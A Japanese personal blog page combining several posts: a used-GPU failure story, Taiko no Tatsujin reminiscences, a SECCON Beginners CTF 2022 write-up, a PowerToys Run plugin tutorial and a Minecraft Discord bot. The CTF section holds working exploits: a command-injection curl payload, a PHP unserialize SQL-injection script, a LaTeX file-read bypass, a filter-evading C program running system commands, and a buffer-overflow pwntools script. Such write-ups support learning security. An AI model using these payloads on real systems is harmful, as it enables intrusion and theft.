中古のGPUを買って使っていたら定期的な画面の暗転とかVIDEO_SCHEDULER_INTERNAL_ERRORとかnvlddmkmのEvent ID 0, 13, 14がめっちゃ出た

tl;dr

  • タイトルに書いた現象が起きまくった
  • 消費により劣化したGPUにある現象っぽい
  • 新しいGPUを買ったら治った

はじめに

ここに書いてある事項はあくまでも自分の話なので、これだけが唯一の解決策ではないということは念頭に置いといてくださいね

中古のRTX 3060tiを買った(5ヶ月前)

今年(2022年)の1月末、メルカリでRTX 3060tiを購入した。それまではGPUとしてGTX 750tiを使用していたのだが、これがもう限界っぽかった。ChromeやDiscordなどを始め、GPUAPIを叩いていそうな箇所は頻繁に壊れるし、画面はチカチカと暗転していた。対応として、RTX 3060tiの中古を刺してみたらどうにか落ち着いた、ということがあった。

詳しくはその時の記事をみてください↓

RTX 3060tiを装備したらWindowsの起動の具合が悪くなる事象が治った - 名有りさんの日記

その時何を思ったのか、僕はRTX 3060tiをあろうことかメルカリで購入していた。つまり、状況がどうかもわからない中古品を買ったということになる。これが見事に祟り、2週間ほど前から以下のような症状に襲われ始めた。

  • 定期的な画面の暗転
    • HDMIを一回抜き差ししたような挙動
  • GPUAPIを叩いていそうな部分のみ背景色で塗り潰される挙動
  • VIDEO_SCHEDULER_INTERNAL_ERRORと書いてあるブルースクリーン

これは、買い替え前に使っていたGTX 750tiで起きていた事象と全く同じに見えた。実際、Windowsのイベントビューアーを見ると、nvlddmkmのEvent ID 0, 13, 14が大量に出ていた。

イベントについて調べるが有力な情報はなく

nvlddmkmのEvent ID 0, 13, 14について調べると、0についての情報は特に見当たらず、13と13についての情報がよく出てくる。例えば以下の記事では、サージユニットが供給できる電力が足りないことが原因だったのでモニターなどのプラグを別のユニットに刺すように分散したところ上手く動くようになった、という例が提示されている。

Event ID 13 nvlddmkm

以下の記事では、ソフトウェアの電源系統まわりの設定をそれぞれ最高相当に変更したらこれが上手く効いた、という例が提示されている。

nvlddmkmエラーID14・効いた対処・効かなかった対処 - Maihama Breeze

これらも試したが、状況としては何も変わることはなかった。

買い替えたほうが良さそう

で、リンクは消失してしまったが、買い替えたら治った、という例がいくつか見られるようになった。Twitter上にもそういう例は存在している。

新品のRTX 3060tiを購入したら治った

GTX 750tiと同じ流れであれば中古のRTX 3060tiを使い果たしてしまったことになるので、もう諦めて新品のRTX 3060tiを購入することにした。そして届いた新品に挿し替えたところ、上記問題が起きることはなくなり、綺麗に動作するようになった。めでたし。

グラボは中古では買わず、ちゃんと新品を買ったほうが良い。中古で買ってしまった自分が言えたことではないが、いや だからこそ言う必要があるのかもしれないが、これは本当に当たり前のことかもしれん。百害あって一利なし。

値段について

2022年1月末当時、RTX 3060ti/8GBのグレードであれば中古であってもおおよそ8万5000円ほどが相場だったのだが、今回新品で購入したもの(具体的にはGeForce RTX 3060 Ti VENTUS 2X 8G OCV1 LHR)は7万3000円だった。

ネットニュースにも見るように、ここ数年続いていたグラボの高騰トレンドは最近になって落ち着いてきている。この傾向はもう少し続きそうなので、買うタイミングを見計らっていた人はそろそろ動き出しても良いかもしれない。

ドンゲー雑記

最近、僕の中で太鼓の達人がアツい。僕の定かでない幼少期の記憶のうち、初めてやったゲームとして候補に挙げられるゲームでもある「太鼓の達人」が、今になってブームを巻き起こしている。これで3回目になるんだけど、一回その頃の話を掘り起こしてみたい。

本当に小さい頃、PS2に出ていた「太鼓の達人 タタコンでドドンがドン」(俗称 CS1) をやっていた記憶がある。が、CS1のディスクは自分が足で踏みながら廊下を刷り歩いてしまったらしく、再起不能になったらしい。その後CS2~5あたりまでやって、それぞれのタイトルに思い入れがある状態になっている。特に、小さかった頃の自分にはミニゲームがお気に入りだったらしく、各タイトルも譜面よりそちらの思い入れのほうが強い。特にCS4のミニゲーム全てとCS2のギャラドン、CS1のマラソンと100M走は今でも情景が浮かんでくる。

www.youtube.com

www.youtube.com

www.youtube.com

www.youtube.com

その後、小学4年生くらい?に再ブームが訪れる。どこかのフードコートに併設されていたゲームセンターでの話で、「どれか一つ一回ならやってもいいよ」と言われ100円を渡される。自分はなにか適当なビデオゲームを1クレジットやって終了させたのだが、弟は太鼓の達人を選択していた。この店の設定は1クレジット200円だったのだが、親はそれを許容し、追加で100円を渡す。これを僕は不平だと訴えたが、特に聞き入られることはなく流されたことをよく覚えている。これを不満に思った僕は、それ以降しばらくはゲームセンターに行く度に毎回太鼓の達人をやるようになってしまった。執着しているうちに普通にハマってしまい、それが中学生終了時期まで続いた*1。当時はAC11か12~新筐体稼働後1年くらい?だった気がする。技量としては(当時基準の)鬼の☆8,9をなんとかクリアでき、☆10のうちかんたんなものやあまり早くないものであればそこそこクリアできるという程度だったと記憶している。それなりにやったが、全く上手にはなれなかった。

2022の1月末になり、急にXbox One向けに太鼓の達人が配信され始める。これに目を付け、フルプライスで購入するが、収録曲数や機能性の低さ、遅延の大きさにげんなりする。別の手段を探したところ、iPhoneの定額やり放題プランが目についた。実際にやってみたところ、収録曲数も多く、遅延もほとんど気にならない程度でかなり好感触だった。

そうやっていくらか曲を回しているうちに、ACもやりたくなってきた。Twitterで騒いでいたところ、鉢木植さんとSharuさんが声をかけてくれた。とても嬉しかった。ゲーセンの開店凸をし、2,3時間くらい太鼓をし続ける、という如何にも10年前にもやっていそうなことを最近やった。死ぬほど楽しかった。このとき人生で初めて公式マイバチを触らせてもらったし、なんなら初めてまともなマイバチでプレイした。そりゃ当時「チート棒」とか言われるわけだ、とか思った。公式がこうやって出したわけだし、今はもうバリバリ使ってもらって良いと思います。僕も今買うかどうか本気で迷っている。

ACの太鼓を久々にやってみるとそのうちのほとんどが知らない曲になっていたりするものだが、最近になってCS3のOP曲「きょうは太鼓日和」や「ねこくじら」が復活したり、「ハロー!どんちゃん」あたりは今でも遊べたり、僕らの年齢層に向けた何らかの攻撃はまだ続いている様子だった。本当に本当に嬉しい。欲を言えば「わすれなぐさ」が復活してほしい。

ナムオリの曲ってこの歳になって改めて聞いた時の発見が物凄いものがたくさんある。例えばみすみゆりについて。前項に上げた曲は全てみすみゆりが噛んでいるわけだが、この人が太鼓に向けた注力は今振り返ってみるとかなり凄いものがある。歌詞に見える独特の世界観と、それにマッチする曲調は、小さい時に受け取るよりは今受け取った方が効くところがある。AC1からある「ハロー!どんちゃん」の歌詞とか「笑って泣いて恋をして ここに居ていいのかな?」とか、もとは和太鼓だった和田どん和田かつの当時の心理描写としてここまでぴったりなものないでしょ、しかもそれから20年以上経って、今はこんなにも幅広い年齢層に受け入れられてて、本当に凄い。本当に涙が出る。

www.youtube.com

www.youtube.com

LindaAI-CUEについては、勿論昔から2000シリーズのボス加減に惹かれて好き続けているわけだけれど、今改めて聞いてみると引き出しの幅が本当に凄い。前衛的とは一言でいうものの、その方向性が本当に広く、最近とても感心した。よくもまあ一人であそこまで作れるもんだな、みたいな。それだけでなく、展開のもたせ方が本当に凄い。曲ってこんなに楽しくなるんだ、みたいな。またさいたま2000は本当にかっこいいし、はたラク2000の展開力もまた凄いし、最近のたいこの2000とかは今になってそのストイックさを見せるのか、みたいな。それ以外にもDoom-Noizとか、エージェント夜を往くとか、マジですごいな。どうなっとるんや。一生叶うことはないだろう。

他にもいくらでも書ける気がする、増渕裕二についてとか、曲単体であればもっと色々あるが一旦こんな感じ。

ということで最近は太鼓の達人をたくさんやっている。今この歳になって地力がどんどん上がっている感じもあり、かなり楽しいところ。もっとやるぞ。

*1:高校生以降は弐寺とかBEMANI系をやっていた

SECCON Beginners CTF 2022 Write-up

数年ぶりにCTFをやりたい気持ちになって、身内のSlackで「なんかやりたい」って言ったらいつの間にか参加が確定していた。

突然投げられたチーム登録用パスワード

Web

Util

pingを投げる対象にコマンドインジェクションできる部分があった。

   r.POST("/util/ping", func(c *gin.Context) {
        var param IP
        if err := c.Bind(&param); err != nil {
            c.JSON(400, gin.H{"message": "Invalid parameter"})
            return
        }

        commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
        result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()

        c.JSON(200, gin.H{
            "result": string(result),
        })
    })

ただ、これを受け取るフロントではIPアドレスらしき値以外はすべて弾く処理が入っていたので、curlあたりで雑にリクエストを投げ、終了。

$ curl 'https://util.quals.beginners.seccon.jp/util/ping' -H 'Content-Type: application/json' --data-raw '{"address":"127.0.0.1; cat /flag_A74FIBkN9sELAjOc.txt"}'
// => {"result":"PING 127.0.0.1 .......snip....... ctf4b{al1_0vers_4re_i1l}\n"}

textex

texを書くとpdfになって返ってくるサービスが与えられる。プログラムと同じディレクトリに flag.txt があるので、うまいことファイルを読み込むtexを書く必要がある、というお題。ただし、入力に flag という文字列を入れると問答無用でエラーになるのでこれを避ける必要がある。

texにはどうやらパッケージが存在するらしく、ファイルを読み込むものも存在した。verbatim というものを使用する。また、直接 flag の文字列を含めることはできないため、newcommandを使用しマクロを宣言する。マクロ側で fl を用意し、呼び出し側で ag を用意した。

\documentclass{article}
\usepackage{verbatim}
\newcommand{\naari}[1]{{\verbatiminput{fl#1}}}
\begin{document}

\naari{ag}

\end{document}

serial

コードを見ると、唯一 Database->findUserByNameSQL Injectionが存在する。

$sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";

これは user.phplogin から使用されており、cookiesの __CRED をそのまま User として unserialize している。なので、cookieとして与えたシリアライズ済みUserのnameでSQL Injectionを行うことになる。

phpシリアライズの形式はこんな感じで、おそらく {keyの種類:文字数:値;valueの種類:文字数:値;(繰り返し)} という形式を取っている。この場合、root は4文字なので s:4 となっているのが確認できる。

'O:4:"User":3:{s:2:"id";s:2:"52";s:4:"name";s:4:"root";s:13:"password_hash";s:60:"$2y$10$Cd.CWxHXK/F4Id1vxufihuAuEn7MHigR7XBPwy/WNn02X898tJlzu";}'

これに気をつけて、こんな感じのリクエストを作成して投げる。

import requests
import base64

username = "root' UNION SELECT 52, body, '$2y$10$Cd.CWxHXK/F4Id1vxufihuAuEn7MHigR7XBPwy/WNn02X898tJlzu' FROM flags -- #"

cred = 'O:4:"User":3:{s:2:"id";s:2:"52";s:4:"name";s:' + str(len(username)) + ':"' + username + \
    '";s:13:"password_hash";s:60:"$2y$10$Cd.CWxHXK/F4Id1vxufihuAuEn7MHigR7XBPwy/WNn02X898tJlzu";}'

cookies = {
    "__CRED": base64.b64encode(cred.encode()).decode()
}
res = requests.get(
    'https://serial.quals.beginners.seccon.jp/', cookies=cookies)
set_cookie = res.headers.get("Set-Cookie")

print(base64.b64decode(set_cookie.split("=")[1].replace("%3D", "=")))
b'O:4:"User":3:{s:2:"id";s:2:"52";s:4:"name";s:43:"ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}";s:13:"password_hash";s:60:"$2y$10$Cd.CWxHXK/F4Id1vxufihuAuEn7MHigR7XBPwy/WNn02X898tJlzu";}'

User のコンストラクタでSQLで使われるような文字列が弾かれていたが、unserialize の際にはコンストラクタを通らないので大丈夫だった。

misc

phisher

渡された文字列を画像化したあと、OCRに通して www.example.com に完全一致する文字列を返す必要がある。ただし、www.example.com という文字列を使ってはいけない、という、いわゆるホモグラフ攻撃を機械に対して行う問題。

ソースコードは渡されており、Murecho-Black というフォントが使われていた。途中まではWikipediaとかのページを見て似た文字がないかを探し、結果に一喜一憂していたが、フォントが対応していない文字にあたると壊れてしまうので時間を要していた。途中でチームメンバーが Murecho-Black 自体が対応している文字一覧を見ることができる、というのを教えてくれたので、以降はそれを見ながら似ている文字をひとつずつ入力した。. が一番難しかった。

$ echo "ŵŵŵ․е×аᴍрІе․ᴄоᴍ" | nc phisher.quals.beginners.seccon.jp 44322
       _     _     _                  ____    __
 _ __ | |__ (_)___| |__   ___ _ __   / /\ \  / /
| '_ \| '_ \| / __| '_ \ / _ \ '__| / /  \ \/ /
| |_) | | | | \__ \ | | |  __/ |    \ \  / /\ \
| .__/|_| |_|_|___/_| |_|\___|_|     \_\/_/  \_\
|_|

FQDN: ctf4b{n16h7_ph15h1n6_15_600d}

ultra_super_miracle_validator

C言語ソースコードを渡すとコンパイルして実行してくれるサービスがあるが、実行される条件としてコンパイルされた結果がyaraというもので書かれたルールのフィルターに通る必要がある、という問題。

手元で実行できるようにしたあと、ルールに対して真剣に向き合う必要があることがわかった。ルールの conditionいい感じに改行しこんな感じのなんちゃってパーサーにかけてやって、巨大なルールを複数のルールに分解した

つまり、それぞれのルールを満たすよう、ソースコード中に様々な文字列を書く必要がある。ただし、not (not $string) というルールを踏まないようにする。ルールを分解したおかげでデバッグが容易だった。

最終的にこんな感じのソースになった。

// 見やすさのために改行してあるが、本来は一行である必要がある。一行にまとめる関係でstdioなどは使えなかった。
extern int printf(const char *format, ...);
int main()
{
    printf("1:らせん階段 3:廃墟の街 4:イチジクのタルト 6:特異点 8:天使 9:紫陽花 14:\x83\x43\x83\x60\x83\x57\x83\x4e\x82\xcc\x83\x5e\x83\x8b\x83\x67 26:\x72\x79\x75\x70\x70\xb9 30:\x79\xd8\x5b\xc6\x30\x6e\x76\x87\x5e\x1d 33:+XsM-+WJ8-+MG4-+ 34:+MKQ-+MME-+MLg-+MK8-+MG4-+ML8-+M 35:+MMk-+MO0-+MO0-+MPw-+MLU-+MHg-+M 36:+cnk-+dXA-+c 37:+MLg-+MOc-+MMM-+ 39:+fSs-+ln0-+g\n");
    return 0;
}

最後に system("ls")system("cat flag.txt") を追記し、実行。

$ nc ultra-super-miracle-validator.quals.beginners.seccon.jp 5000
source:
extern int printf(const char *format, ...); int main() { system("cat flag.txt"); printf("1:らせん階段 3:廃墟の街 4:イチジクのタルト 6:特異点 8:天使 9:紫陽花 14:\x83\x43\x83\x60\x83\x57\x83\x4e\x82\xcc\x83\x5e\x83\x8b\x83\x67 26:\x72\x79\x75\x70\x70\xb9 30:\x79\xd8\x5b\xc6\x30\x6e\x76\x87\x5e\x1d 33:+XsM-+WJ8-+MG4-+ 34:+MKQ-+MME-+MLg-+MK8-+MG4-+ML8-+M 35:+MMk-+MO0-+MO0-+MPw-+MLU-+MHg-+M 36:+cnk-+dXA-+c 37:+MLg-+MOc-+MMM-+ 39:+fSs-+ln0-+g\n"); return 0; }
ctf4b{SAT_Solver_c4n_50lv3_54t15f1461l1ty_pr06l3m5}
1:らせん階段 3:廃墟の街 4:イチジクのタルト 6:特異点 8:天使 9:紫陽花 14:�C�`�W�N�̃^���g 26:ryupp� 30:y�[�0nv�^ 33:+XsM-+WJ8-+MG4-+ 34:+MKQ-+MME-+MLg-+MK8-+MG4-+ML8-+M 35:+MMk-+MO0-+MO0-+MPw-+MLU-+MHg-+M 36:+cnk-+dXA-+c 37:+MLg-+MOc-+MMM-+ 39:+fSs-+ln0-+g
Not matched. Have Fun!

pwnable

BeginnersBof

基本的なBof問題。フラグを吐き出すための関数は既に存在しているため、rbpをその関数の位置に置き換えることでどうにかなった。

from pwn import *

ARCH = "amd64"
FILE = "./chall"
LIBC = ""
HOST = "beginnersbof.quals.beginners.seccon.jp"
PORT = 9000


def exploit(con, elf, libc, rop):
    flag_symbol = elf.symbols[b"win"]
    log.info("flag symbol: {}".format(hex(flag_symbol)))

    log.info(rop.dump())
    offset = 40
    payload = b"A" * offset
    payload += pack(flag_symbol)
    log.info("payload: {}".format(payload))
    con.sendline(str(len(payload)).encode())
    con.sendline(payload)


def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()


if __name__ == "__main__":
    main()

reversing

Quiz

最後のクイズでフラグを尋ねられるが、その一つ前のクイズで strings の話をしてくれる。strings をかけると出てくる。

$ strings quiz | grep ctf4b
ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}

WinTLS

Windows問題。TLSってTransport Layer Securityか!?とか思ったら違った。Thread Local Storageだった。

動的なことはしておらず、Ghidraを噛ませたあと、TlsSetValue を呼んでいる箇所を発見した。こんな感じのコードが書いてあった。param_1はユーザー入力で、こういう処理を加えた acStack280 と c4{fAPu8#FHh2+0cyo8$SWJH3a8X を比較していた。

// ちょっとだけ読みやすくした。
while ((i < 0x100 && (c = *(char *)(param_1 + i), c != '\0'))) {
    if ((i % 3 != 0) && (i % 5 != 0)) {
        acStack280[j] = c;
        j++;
    }
    i++;
}
check(acStack280);

こういうのもあった。こちらは acStack280 と tfb%s$T9NvFyroLh@89a9yoC3rPy&3b} を比較していた。

while ((i < 0x100 && (c = *(char *)(param_1 + i), c != '\0'))) {
    if ((i % 3 == 0) || (i % 5 == 0)) {
        acStack280[j] = c;
        j++;
    }
    i++;
}
check(acStack280);

戻すためのコードを雑に書いて、ポストしたら合ってた。

a = "c4{fAPu8#FHh2+0cyo8$SWJH3a8X"
b = "tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}"
s = list(" " * 400)
j = 0
for i in range(0, 200):
    if j >= len(a):
        break
    r = (i % 3 == 0) or (i % 5 == 0)
    if r:
        s[i] = a[j]
        print(i, j)
        j += 1

j = 0
for i in range(0, 200):
    if j >= len(b):
        break
    r = (i % 3 != 0) and (i % 5 != 0)
    if r:
        s[i] = b[j]
        print(i, j)
        j += 1

print("".join(s))
ctf4b{f%sAP$uT98Nv#FFHyrh2o+Lh0@8c9yoa98$ySoCW3rJPH3y&a83Xb}

感想

数年ぶりだったこともあって、特にpwnは何も覚えておらず、一問しか解けなかった。ROPすらできなくなっていた。web問最後も今冷静になってみてみれば解けそうだった。もう少し頑張っていきたい所存。悔しい。

ただチームの成績的には過去一番良かったらしい。でも、もっと上げられたはず。悔しい。

Terrariaの日本語Wikiを検索するPowerToys Runのプラグインを作った

身内でTerrariaが流行っている。このゲームは知っておかなければならないことが無限に存在し、特にハードモード以降はTerraria Japan Wikiに頼り切りにならなければやっていくことができない。で、PowerToys Runでプラグインを作ることができればかなり丁度良いのではないか?となって、調べたらどうやらいけそうだったので作った。PowerToys Runでプラグインを作るための記事はこちらでどうぞ。

こんな感じのプラグインになった。Terraria Japan Wikiの検索結果をそのまま表示した上で、項目を選択するとデフォルトのブラウザでページが開くようになる。

GitHub Releasesにて配布中。Terrariaプレイヤーはぜひとも使ってみてください。

GitHub - naari3/terraria-japan-wiki-PowerToysRun: PowerToys Run Plugin for Terraria Japan Wiki Search

PowerToys Runのプラグインを自作する - 名有りさんの日記

プラグイン制作についての記事は↑で書いた。

自分で作ったものを褒めるのもなんだけれど、まじで便利。ほんとうに便利で、これがないとTerrariaをやりたくないというくらいにはなっている。なくてはならないプラグインとなってしまった。

PowerToys Runのプラグイン制作はマジで可能性を感じるので、何か必要に応じて作っていきたいね。

PowerToys Runのプラグインを自作する

Microsoftが出しているPowerToysというユーティリティ集が存在する。便利なユーティリティが集合したものだが、詳細についてはこちらを見て欲しい。

今回はこの中のPowerToys Runに注目する。PowerToys Runとは、ショートカットキーによって検索窓を表示してくれる機能で、macOSのSpotlightのWindows版と想像してくれるとわかりやすいと思う。

https://docs.microsoft.com/ja-jp/windows/images/pt-powerrun-demo.gif

この検索結果一覧は様々な種類があり、例えば ファイル/フォルダの検索や、そのまま標準ブラウザを開いてくれる機能、VSCodeワークスペースを検索する機能などがある。これらは、内部ではPluginとして個別に実装されている。

PowerToys/src/modules/launcher/Plugins at main · microsoft/PowerToys · GitHub

これが、以下のパスに設置されている。

C:\Program Files\PowerToys\modules\launcher\Plugins

これに対し、自分で好きな実装を施したプラグインを作るのが今回の目的。

その前に

現時点でサードパーティ製のプラグインはunsupportedなもので、扱いについては現在もこちらのissueで議論され続けているので、もしかしたら急にすべてが壊れるかもしれない。しかし、好意的な方向には見えるのでそんなに大きく事が変わることはないはず。

かんたんなプラグインを作る

まず、Pluginsの依存する各種ライブラリを用意するところから始める。以下の4つが対象だが、2022年5月29日現在はNuGet等には公開されていない*1ので PowerToys を自分でビルドするか、PowerToysインストール後に C:\Program Files\PowerToys\modules\launcher に設置されるそれぞれをコピーしておく必要がある。

  • PowerToys.Common.UI.dll
  • PowerToys.ManagedCommon.dll
  • Wox.Infrastructure.dll
  • Wox.Plugin.dll

次にプロジェクトを作成する。あまり.Netの文化に詳しくないが、net6.0-windowsnetcoreapp3.1 を対象にしたプロジェクトを用意する必要がある。どうするのが正攻法なのかはわからないが、クラスライブラリ をもとにプロジェクトを作成し、直接 .csproj を触っている。そして、依存についてこんな感じになるように追記していく。パスについては適時お好みの配置に換えてください。

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <TargetFramework>net6.0-windows</TargetFramework>
    <useWPF>true</useWPF>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <Reference Include="PowerToys.Common.UI">
      <HintPath>..\libs\PowerToys.Common.UI.dll</HintPath>
    </Reference>
    <Reference Include="PowerToys.ManagedCommon">
      <HintPath>..\libs\PowerToys.ManagedCommon.dll</HintPath>
    </Reference>
    <Reference Include="Wox.Infrastructure">
      <HintPath>..\libs\Wox.Infrastructure.dll</HintPath>
    </Reference>
    <Reference Include="Wox.Plugin">
      <HintPath>..\libs\Wox.Plugin.dll</HintPath>
    </Reference>
  </ItemGroup>

  <ItemGroup>
    <None Update="images\icon.png"> <!-- あとで作成する -->
      <CopyToOutputDirectory>Always</CopyToOutputDirectory>
    </None>
    <None Update="plugin.json"> <!-- あとで作成する -->
      <CopyToOutputDirectory>Always</CopyToOutputDirectory>
    </None>
  </ItemGroup>
</Project>

Main.cs を次のようにする。最小に近い状態。

using System.Windows;
using ManagedCommon;
using Wox.Plugin;

namespace PowerToysRunPluginSample
{
    public class Main : IPlugin
    {
        private string? IconPath { get; set; }

        private PluginInitContext? Context { get; set; }
        public string Name => "Cool Sample";

        public string Description => "This is cool sample plugin";

        public List<Result> Query(Query query)
        {
            return new List<Result>
            {
                new Result
                {
                    Title = "Copy COOL",
                    SubTitle = "Copy COOL",
                    IcoPath = IconPath,
                    Action = e =>
                    {
                        Clipboard.SetText("COOL");

                        return true;
                    },
                },
                new Result
                {
                    Title = $"Copy {query.Search}",
                    SubTitle = $"Copy {query.Search}",
                    IcoPath = IconPath,
                    Action = e =>
                    {
                        Clipboard.SetText(query.Search);

                        return true;
                    },
                },
            };
        }

        public void Init(PluginInitContext context)
        {
            Context = context;
            Context.API.ThemeChanged += OnThemeChanged;
            UpdateIconPath(Context.API.GetCurrentTheme());
        }

        private void UpdateIconPath(Theme theme)
        {
            IconPath = "images/icon.png";
        }

        private void OnThemeChanged(Theme currentTheme, Theme newTheme)
        {
            UpdateIconPath(newTheme);
        }
    }
}

images\icon.png を用意する。どういったものが要求されるかは真面目に見ていない。

plugin.json を用意する。次のような感じ。気になりどころを抑えておく。ID はGUID?ActionKeyword はクエリのprefixとして必要なものになるっぽい。sample であれば、sample hogefuga といった形でクエリを入れることになる。isGlobal は更に踏み込んで、このprefixすら必要ないものになるっぽい。その場合、スコアという概念が計算され、高いものであればあるほど高い順位に設定される様子。

{
  "ID": "EF1F634F20484459A3679B4FE7B07998",
  "Disabled": false,
  "ActionKeyword": "sample",
  "Name": "PowerToysRunPluginSample",
  "Author": "naari3",
  "Version": "1.0.0",
  "Language": "csharp",
  "Website": "https://github.com/naari3/PowerToysRunPluginSample",
  "ExecuteFileName": "PowerToysRunPluginSample.dll",
  "IsGlobal": false,
  "IcoPathDark": "images\\icon.png",
  "IcoPathLight": "images\\icon.png"
}

この状態でビルドする。bin/Debug あたりに色々吐き出されるが、このうち以下の4つを C:\Program Files\PowerToys\modules\launcher\Plugins\PowerToysRunPluginSample フォルダにコピーする。

  • `imagesP
  • plugin.json
  • PowerToysRunPluginSample.deps.json
  • PowerToysRunPluginSample.dll

この状態で PowerToys を再起動し、ショートカットキーから PowerToys Run を起動すると以下のようにプラグインの挙動を実現できる。

もし何らかうまく行っていない場合、ログを見ると良い。以下の場所にバージョンごとのログがあり、何かに失敗した場合はおそらくここにその情報が追記されている。

%LOCALAPPDATA%\Microsoft\PowerToys\PowerToys Run\Logs

ここまでの状態をGitHubリポジトリとして上げているので、そちらで見たい人はどうぞ

github.com

NuGetから依存関係を追加する

NuGetから依存関係を追加し、何らかの挙動を追加したくなるのだが、これが結構大変だった。結論から書くと、結局依存関係を解決してくれなかったためILRepackなどでひとつのdllにマージする必要があった。C#のdllの扱いを全く知らないので憶測でしかないし、おま環かもしれないが、おそらく公式プラグインに必要な依存はなにか別の方法で解決されているのだと思う。それっぽいものは C:\Program Files\PowerToys\modules\launcher に置いているようだったので、このあたりには何か関係していそうな気はする。

ので、依存関係をすべてマージする方法を書く。ILRepackというのは過去存在したILMergeというツールのフォーク版らしい*2

まず PropertyGroup<CopyLocalLockFileAssemblies>true</CopyLocalLockFileAssemblies> を追加する。これにより、依存したライブラリもOutDirに出力されるようになる。

  <PropertyGroup>
    <!-- snip -->
    <CopyLocalLockFileAssemblies>true</CopyLocalLockFileAssemblies>
    <!-- snip -->
  </PropertyGroup>

その後、ILRepack.Lib.MSBuild.Task をNuGet経由で追加し、ILRepack.targets に以下のように記述する。これにより、dllが結合されるようになる。この際、依存したライブラリが依存しているライブラリも追加する必要があるので注意が必要。

<?xml version="1.0" encoding="utf-8" ?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
    <Target Name="ILRepacker" AfterTargets="Build">

    <ItemGroup>
        <InputAssemblies Include="$(OutputPath)\依存したライブラリ.dll" />
        <InputAssemblies Include="$(OutputPath)\依存したライブラリ2.dll" />
        <InputAssemblies Include="$(OutputPath)\$(AssemblyName).dll" />
    </ItemGroup>

    <ILRepack
        Parallel="true"
        Internalize="true"
        InternalizeExclude="@(DoNotInternalizeAssemblies)"
        InputAssemblies="@(InputAssemblies)"
        TargetKind="Dll"
        OutputFile="$(OutputPath)\$(AssemblyName).dll"
    />
    </Target>
</Project>

この状態でビルドし、dllを追加すると動くようになる。お試しあれ。

参考実装たち

*1:issueを見ると一応考えがなくはないっぽいが、まだ先の話になりそうな雰囲気。

*2:最初ILMergeを使用していたが、様々な問題にさしあたったので使うのをやめた

Minecraftのバニラサーバーに対しても動くようなDiscordのbotを作成した

時折、身内で遊ぶためにMinecraftのサーバーを立ち上げることがある。その際、運用のための各種コマンド入力が問題となる。

例えば、直接ttyから入力→実行しても良いのだが、インターフェイスが貧弱で結構怖かったりする。有名なMinecraft用コンテナイメージの作者itzgさんが用意しているrcon-cliなどを使い、RCON経由で直接コマンドを実行しても良いのだが、これも手順を考えると煩わしい。また、サーバーにspigotやpaperを使い、DiscordSRVのようなプラグインを入れることも考えられるが、そもそもバニラでないと実現できない挙動もいくつかあるためサードパーティ製のサーバーは利用できない。

そこで、Minecraftサーバー専用のDiscordサーバーを用意し、botを介することで問題を解決することを考え、実装した。それを紹介する。

github.com

minecraft-command-bot

コマンド一覧

cmd

コマンドを実行する。\cmd kill @e のように使える。なんでもできる強力なコマンドなので、サーバー上に cmd というロールがあり、それを付与されたユーザーのみが実行できるようにしている。

say

DiscordチャンネルからMinecraftサーバーのチャットにチャットをDiscordの名前を付与してから送信する。この後説明する Minecraftサーバーのチャット to Discordのチャンネルの逆を行うために用意した。

mcuuid

Minecraft上のnameとUUIDを相互変換する。

- `\mcuuid naarisan` will returns => `05140bb4-f432-43fe-a5e4-069da2d4fc46`
- `\mcuuid 05140bb4-f432-43fe-a5e4-069da2d4fc46` will returns => `naarisan`
- `\mcuuid 05140bb4f43243fea5e4069da2d4fc46` will also returns => `naarisan`

ログ転送

MinecraftのチャットあたりのログをDiscordのサーバーに転送する。そのまま転送しているわけではなく、正規表現で雑にルールを列挙してマッチできたものだけ転送する。

:heart: リアクションでのホワイトリスト追加

プレイヤー数表示機能

実装について

Rustで実装した。理由としては、

  • Rustを使いたかったから
  • リッチな言語のご加護を受けたかったから
  • マルチアーキテクチャのため

最後の「マルチアーキテクチャのため」について。まず、Minecraftのサーバーアプリは大変にステートフルな実装で、スケールアウトできない上にそれなりのスペックを要求する。最近は「arm64であれば超格安で強力なインスタンスを提供するよ」という例をよく見るのだが、これは前述の要求にとってベターな選択肢となりうる。今回、自分もその選択をした。OCIは無料でかなり強力なarm64のインスタンスを提供してくれるのだ。この環境上でbotを動かすことを考えると、言語の機能や文化としてクロスコンパイルが行えるRustを選択するのが良さそうだった、という感じ。詳しくはこちらでどうぞ→Rust + GitHub Actionsでマルチアーキテクチャ対応のイメージをなるべく早く作る - 名有りさんの日記

Minecraftに対してのコマンド実行はRCONとして接続することで成り立っている。Discordはインターフェイスとしても大変優秀で、これをRCONのクライアントとして使えたのは大変良いことだった。

ログをチャンネルに転送する機能は、Minecraftが標準出力と同時にログを出力するファイルがあるのだが、それをbotが見ることで実現している。linemuxでかんたんに実現できた。

itzgのMinecraft用イメージと組み合わせることでとても簡単にbotを起動することができる。↓こんなかんじ

version: "3.8"

services:
  mc:
    ports:
      - "25565:25565"
      - "25575:25575"
    volumes:
      - "mc:/data"
    environment:
      EULA: "TRUE"
    image: itzg/minecraft-server
    restart: always
  bot:
    image: ghcr.io/naari3/minecraft-command-bot:latest
    environment:
      RCON_HOST: mc
      RCON_PASSWORD: minecraft
      DISCORD_BOT_TOKEN: your_token
      DISCORD_BOT_PREFIX: \
      MINECRAFT_LOG_PATH: /data/logs/latest.log
      MINECRAFT_LOG_CHANNEL_ID: your_channel_id
    volumes:
      - "mc:/data"

volumes:
  mc:

/data にすべてのデータやログなどを吐くため、ログなどの情報が欲しい場合はこれをマウントすることで取得できるようになる。また、ボリュームを別出ししているのでコマンドひとつでバックアップが可能。本当に素晴らしい。

docker run --rm -v minecraft-command-bot_mc:/data -v $(pwd)/backup:/backup alpine tar cvf /backup/backup-$(TZ=JST+15 date '+%Y%m%d%H%M').tar /data

今後

